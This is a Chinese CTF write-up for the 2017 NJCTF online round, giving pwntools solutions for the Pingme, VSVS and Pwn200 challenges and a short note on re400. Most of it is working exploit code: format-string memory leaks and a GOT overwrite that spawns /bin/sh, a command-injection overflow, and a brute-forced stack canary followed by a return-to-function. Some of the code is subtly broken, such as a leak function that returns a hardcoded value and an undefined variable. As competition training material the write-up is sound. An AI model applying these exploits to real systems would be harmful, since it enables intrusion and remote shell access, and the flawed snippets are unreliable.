2017 XCTF 南京站 线上赛 NJCTF

Pingme

题目地址

nc 218.2.197.235 23745

解题

题目并没有提供Bin文件,但是我们可以通过leak的方法,把整个Bin文件dump下来。
代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def get_data(io, addr):
prefix = ''
if addr&0xff == 0x0a:
prefix = '\x00'
addr += 1
payload = ""
payload += "-..-%%%d$s.--.\x00"%(7+10)
payload = payload.ljust(40, 'a')
payload += l32(addr)
io.writeline(payload)
io.read_until("-..-")
data = io.read_until(".--.")[:-4] + '\x00'
return prefix + data

def get_buff(io, addr, size):

buff = ""
while len(buff) < size:
buff += get_data(io, addr + len(buff))

return buff

def dump_file(io):

io.read_until("Ping me\n")
"""
payload = ""
payload += "%%%d$s."%(7+10)
payload = payload.ljust(40, 'a')
payload += l32(0x80484F0)
io.writeline(payload)
"""

#data = get_data(io, 0x8048000)
#print "data:", repr(data)
buff = get_buff(io, 0x8048400, 0x700)
file_w = open("dump.bin", "wb")
file_w.write(buff)
file_w.close()

print "ok"


逻辑清晰 233 格式串漏洞,我们需要获得libc或者使用DynELF获取system地址。

可以在9k师傅打libc db的库中,找到libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
import time

debug = 1
if debug:
r = remote("218.2.197.235",23745)
#context.log_level = "debug"
else:
r = process("./pingme")
gdb.attach(r)


main_addr = 0x08048617
printf_got = 0x08049974

#r = remote("218.2.197.235", 23745)#pwn
#r = process("./pingme")

def leak(addr):
payload = p32(addr)
payload += "%7$sDCBA" # $rsp address
r.sendline(payload)
data = r.recv(4)
f = 4
# l = data.find("DCBA")
res = '1'
if res == "":
log.info("[*] addr:{0} ===> value:{1}".format(hex(addr), "\x00"))
return "\x00"
else:
log.info("[*] addr:{0} ===> value:{1}".format(hex(addr), res[:4].encode("hex")))
return res[:4]#res = res.ljust(4, "\x00")
#leak()
r.recvuntil("me\n")

printf_addr = leak(printf_got)
printf_addr = printf_addr
printf_addr = u32(printf_addr)
# print "[*] printf addr:{0}".format(hex(printf_addr)) #printf addr:0xf7596020

# system_addr = printf_addr - 0xe6e0#0xd100
# print "[*] system addr:{0}".format(hex(system_addr)) #system addr:0xf7587940

d = DynELF(leak,printf_addr)
system_addr = d.lookup("system",'libc')
print 'systemAddr = %#x' % (systemAddr)

write = system_addr & 0xffffff
two = write&0xffff
one = (write>>16)&0xff

payload = p32(printf_got+2)
payload += p32(printf_got)
payload += "%{0}c%7$hhn%{1}c%8$hn".format(one-8,two-one)
r.sendline(payload)
r.sendline("/bin/sh")
r.interactive()

dump file代码是pxx师傅的 我自己打方法失败了 23333

VSVS

代码执行,在name的位置输入超过1024个字节后紧跟bash,之后的命令会被 当成命令执行
验证code可暴力解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

"""
NJCTF{e24de6dea4b118a8f7986fe853c15fce}
"""

r = remote('218.2.197.235', 23749)

r.recvuntil("code:\n")
r.sendline("22")
r.recvuntil("input:")
r.sendline("ls")
r.recvuntil("name?")
payload = "A"*1024
payload += "cat<flag"
r.sendline(payload)
print r.recv(100)
r.interactive()

Pwn200

栈溢出简单粗暴,不过需要暴力猜解canary,然后直接ret到send flag的函数那里,把flag读回来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#由于是fork的程序,考虑爆破canary
#爆破脚本如下:
# -*-coding:utf-8-*-
__author__ = 'joker'

from pwn import *

canary = "\x00"
while 1:
if len(canary) == 8:
break
for item in range(0xff):
canary_tmp = canary + chr(item)
try:
r = remote('218.2.197.234', 2090)
r.recvuntil("Welcome!\n")
payload = "A"*(0x70-8)
payload += canary_tmp
r.send(payload)
data = r.recv(100,timeout=0.5)
if "Message received!" in data:
canary += chr(item)
print "get:{0}".format(hex(item))
break
r.close()
except:
continue
raw_input("joker")
print "[*] canary:{0}".format(u64(canary))

程序读取了flag并且存在直接send flag的payload
.text:0000000000400BCA mov eax, cs:fd
.text:0000000000400BD0 mov ecx, 0
.text:0000000000400BD5 mov edx, 64h
.text:0000000000400BDA mov esi, offset flag_address
.text:0000000000400BDF mov edi, eax
.text:0000000000400BE1 call _send

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# -*-coding:utf-8-*-
__author__ = 'joker'

from pwn import *


#local canary = 0x6767cae5244b5000
canary = "\x00\xcf\x4d\x36\x2e\xf4\xcc\x9d"
send_flag = 0x400BCA

r = remote('218.2.197.234',2090)
r.recvuntil("Welcome!")

payload = "A"*(0x70-8)
payload += canary
payload += "A"*8
payload += p64(0x400BCA)
r.sendline(payload)
print r.recv(100)
r.interactive()

re400

可在程序中找到目标md5值,输入并尝试用gdb去调试可以猜到flag值。

 
# 战队WP
wp

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. Pingme
    1. 1.1. 题目地址
    2. 1.2. 解题
  2. 2. VSVS
  3. 3. Pwn200
  4. 4. re400
,